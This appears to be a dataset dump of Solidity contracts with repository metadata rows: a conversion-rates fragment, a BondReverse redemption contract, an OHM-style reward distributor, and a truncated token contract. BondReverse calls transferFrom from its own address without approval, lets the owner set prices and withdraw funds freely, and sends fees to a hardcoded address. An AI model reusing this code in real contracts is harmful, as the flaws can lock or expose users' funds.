function setReserveAddress(address reserve) public onlyAdmin {
reserveContract = reserve;
}
function recordImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
public
{
require(msg.sender == reserveContract);
if (rateUpdateBlock == 0) rateUpdateBlock = getRateUpdateBlock(token);
return addImbalance(token, buyAmount, rateUpdateBlock, currentBlock);
}
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint) {
if (!tokenData[token].enabled) return 0;
if (tokenControlInfo[token].minimalRecordResolution == 0) return 0;
bytes32 compactData = tokenRatesCompactData[tokenData[token].compactDataArrayIndex];
uint updateRateBlock = getLast4Bytes(compactData);
if (currentBlockNumber >= updateRateBlock + validRateDurationInBlocks) return 0;
int totalImbalance;
int blockImbalance;
(totalImbalance, blockImbalance) = getImbalance(token, updateRateBlock, currentBlockNumber);
int imbalanceQty;
int extraBps;
int8 rateUpdate;
uint rate;
if (buy) {
rate = tokenData[token].baseBuyRate;
rateUpdate = getRateByteFromCompactData(compactData, token, true);
extraBps = int(rateUpdate) * 10;
rate = addBps(rate, extraBps);
qty = getTokenQty(token, rate, qty);
imbalanceQty = int(qty);
totalImbalance += imbalanceQty;
extraBps = executeStepFunction(tokenData[token].buyRateQtyStepFunction, int(qty));
rate = addBps(rate, extraBps);
extraBps = executeStepFunction(tokenData[token].buyRateImbalanceStepFunction, totalImbalance);
rate = addBps(rate, extraBps);
} else {
rate = tokenData[token].baseSellRate;
rateUpdate = getRateByteFromCompactData(compactData, token, false);
extraBps = int(rateUpdate) * 10;
rate = addBps(rate, extraBps);
imbalanceQty = -1 * int(qty);
totalImbalance += imbalanceQty;
extraBps = executeStepFunction(tokenData[token].sellRateQtyStepFunction, int(qty));
rate = addBps(rate, extraBps);
extraBps = executeStepFunction(tokenData[token].sellRateImbalanceStepFunction, totalImbalance);
rate = addBps(rate, extraBps);
}
if (abs(totalImbalance + imbalanceQty) >= getMaxTotalImbalance(token)) return 0;
if (abs(blockImbalance + imbalanceQty) >= getMaxPerBlockImbalance(token)) return 0;
return rate;
}
function getBasicRate(ERC20 token, bool buy) public view returns(uint) {
if (buy)
return tokenData[token].baseBuyRate;
else
return tokenData[token].baseSellRate;
}
function getCompactData(ERC20 token) public view returns(uint, uint, byte, byte) {
uint arrayIndex = tokenData[token].compactDataArrayIndex;
uint fieldOffset = tokenData[token].compactDataFieldIndex;
return (arrayIndex,
fieldOffset,
byte(getRateByteFromCompactData(tokenRatesCompactData[arrayIndex], token, true)),
byte(getRateByteFromCompactData(tokenRatesCompactData[arrayIndex], token, false)));
}
function getTokenBasicData(ERC20 token) public view returns(bool, bool) {
return (tokenData[token].listed, tokenData[token].enabled);
}
function getStepFunctionData(ERC20 token, uint command, uint param) public view returns(int) {
if (command == 0) return int(tokenData[token].buyRateQtyStepFunction.x.length);
if (command == 1) return tokenData[token].buyRateQtyStepFunction.x[param];
if (command == 2) return int(tokenData[token].buyRateQtyStepFunction.y.length);
if (command == 3) return tokenData[token].buyRateQtyStepFunction.y[param];
if (command == 4) return int(tokenData[token].sellRateQtyStepFunction.x.length);
if (command == 5) return tokenData[token].sellRateQtyStepFunction.x[param];
if (command == 6) return int(tokenData[token].sellRateQtyStepFunction.y.length);
if (command == 7) return tokenData[token].sellRateQtyStepFunction.y[param];
if (command == 8) return int(tokenData[token].buyRateImbalanceStepFunction.x.length);
if (command == 9) return tokenData[token].buyRateImbalanceStepFunction.x[param];
if (command == 10) return int(tokenData[token].buyRateImbalanceStepFunction.y.length);
if (command == 11) return tokenData[token].buyRateImbalanceStepFunction.y[param];
if (command == 12) return int(tokenData[token].sellRateImbalanceStepFunction.x.length);
if (command == 13) return tokenData[token].sellRateImbalanceStepFunction.x[param];
if (command == 14) return int(tokenData[token].sellRateImbalanceStepFunction.y.length);
if (command == 15) return tokenData[token].sellRateImbalanceStepFunction.y[param];
revert();
}
function getRateUpdateBlock(ERC20 token) public view returns(uint) {
bytes32 compactData = tokenRatesCompactData[tokenData[token].compactDataArrayIndex];
return getLast4Bytes(compactData);
}
function getListedTokens() public view returns(ERC20[]) {
return listedTokens;
}
function getTokenQty(ERC20 token, uint ethQty, uint rate) internal view returns(uint) {
uint dstDecimals = token.decimals();
uint srcDecimals = 18;
return calcDstQty(ethQty, srcDecimals, dstDecimals, rate);
}
function getLast4Bytes(bytes32 b) internal pure returns(uint) {
return uint(b) / (BYTES_14_OFFSET * BYTES_14_OFFSET);
}
function getRateByteFromCompactData(bytes32 data, ERC20 token, bool buy) internal view returns(int8) {
uint fieldOffset = tokenData[token].compactDataFieldIndex;
uint byteOffset;
if (buy)
byteOffset = 32 - NUM_TOKENS_IN_COMPACT_DATA + fieldOffset;
else
byteOffset = 4 + fieldOffset;
return int8(data[byteOffset]);
}
function executeStepFunction(StepFunction f, int x) internal pure returns(int) {
uint len = f.y.length;
for (uint ind = 0; ind < len; ind++) {
if (x <= f.x[ind]) return f.y[ind];
}
return f.y[len-1];
}
function addBps(uint rate, int bps) internal pure returns(uint) {
uint maxBps = 100 * 100;
return (rate * uint(int(maxBps) + bps)) / maxBps;
}
function abs(int x) internal pure returns(uint) {
if (x < 0)
return uint(-1 * x);
else
return uint(x);
}
}
| 163,999 | 11,251 |
bf3c2b9965470b01c7e227f000e30ef7d5b122412637c548b71affc1ff49a312
| 28,034 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/fa/Fa4a2b4B561442235b68fC90D0d7748165Ad2B7D_BondReverse.sol
| 3,281 | 13,118 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract ManagerRole {
using Roles for Roles.Role;
event ManagerAdded(address indexed account);
event ManagerRemoved(address indexed account);
Roles.Role private managers;
constructor() {
_addManager(msg.sender);
}
modifier onlyManager() {
require(isManager(msg.sender));
_;
}
function isManager(address account) public view returns (bool) {
return managers.has(account);
}
function addManager(address account) public onlyManager {
_addManager(account);
}
function renounceManager() public {
_removeManager(msg.sender);
}
function _addManager(address account) internal {
managers.add(account);
emit ManagerAdded(account);
}
function _removeManager(address account) internal {
managers.remove(account);
emit ManagerRemoved(account);
}
}
interface IdYelToken {
function burn(address from, uint256 amount) external returns (bool);
}
contract BondReverse is ManagerRole, Ownable, Pausable {
address public dYelToken;
ERC20 public immutable USDC;
// Fee for YEL send to owner address - 5%
// Fee for dYEL treasuries stays on contract - 5%
address public ownerA8 = 0x4e5b3043FEB9f939448e2F791a66C4EA65A315a8;
uint256 public percent = 10; // uses for checking price difference
uint256 public percentPenalty = 10; // 5% = 5
uint256 public currentPrice;
uint256 public minDepositAmount;
constructor (address _token, address _USDC, uint256 _USDCdecimals) {
require(_token != address(0) && _USDC != address(0), "BondReverse: Token address can not be zero");
dYelToken = _token;
USDC = ERC20(_USDC);
currentPrice = 10000 * (10 ** _USDCdecimals);
minDepositAmount = 1e11; // 0,0000001 dYel
}
function claim(uint256 _amount) external whenNotPaused {
require(_amount != 0, "BondReverse: The amount of tokens can not be zero");
// sender have to approve his tokens
IdYelToken(dYelToken).burn(msg.sender, _amount);
// ua = userAmount, oa = _ownerAmount
(uint256 ua, uint256 oa) = valueOfDYEL(_amount);
require(ua != 0 || oa != 0,
"BondReverse: The result of valueOfDYEL has zero value. Try to claim more tokens");
require(ua+oa <= USDC.balanceOf(address(this)), "BondReverse: Out of USDC balance");
USDC.transferFrom(address(this), ownerA8, oa);
USDC.transferFrom(address(this), msg.sender, ua);
}
function withdrawUSDC(uint256 _amount, address _address) external onlyOwner {
require(_address != address(0) && _amount != 0, "BondReverse: values have zero parameter");
USDC.transferFrom(address(this), _address, _amount);
}
function setPriceInUSDC(uint256 _price) external {
if(owner() == msg.sender) {
currentPrice = _price;
} else if(isManager(msg.sender)) {
require(returnPercentPrice(_price) < percent,
"BondReverse: The price difference is more than allowed");
currentPrice = _price;
} else {
revert("BondReverse: caller is not the owner or manager");
}
}
function setMinDeposit(uint256 _newMinAmount) external onlyOwner {
require(_newMinAmount > 0, "BondReverse: The _newMinAmount can not be zero");
minDepositAmount = _newMinAmount;
}
function returnPercentPrice(uint256 _newPrice) view public returns (uint256 _percentDelta) {
require(_newPrice != currentPrice, "BondReverse: The prices are the same");
uint256 _percentTotal = (_newPrice * 100) / currentPrice;
if(_newPrice > currentPrice) {
_percentDelta = _percentTotal - 100;
} else {
_percentDelta = 100 - _percentTotal;
}
}
function valueOfDYEL(uint256 _dYelAmount) public view returns (uint256 _userAmount, uint256 _ownerAmount) {
require(_dYelAmount > minDepositAmount, "BondReverse: amount of dYel token is too low");
uint256 _totalAmountUSDC = _dYelAmount * currentPrice / 1e18;
uint256 _penaltyAmount = _totalAmountUSDC * percentPenalty / 100;
_userAmount = _totalAmountUSDC - _penaltyAmount;
_ownerAmount = _penaltyAmount / 2;
}
receive() external payable {
revert("You can not send funds to the contract");
}
}
| 324,642 | 11,252 |
b8e11a6a86f2da4ee2bb88ed2834f4cba5a4cd9f08368b3d350f68683e8b9489
| 17,963 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2e/2e9bb06bf07c54f8bc7b7b627769f622925cd3ba_Distributor.sol
| 3,957 | 15,655 |
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 88,628 | 11,253 |
8e5b74d6742832d353168b925f6c05bfbd8d473705c8343f592720d46ebad3a4
| 21,536 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/87/8711c522507f09b2ba00d664cc296ee9bba169c8_DeepDefiCapital.sol
| 2,892 | 11,023 |
//slippage buy = 12 , sell =8
//add 97% + 20 avax, dev 3%. lock lp
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
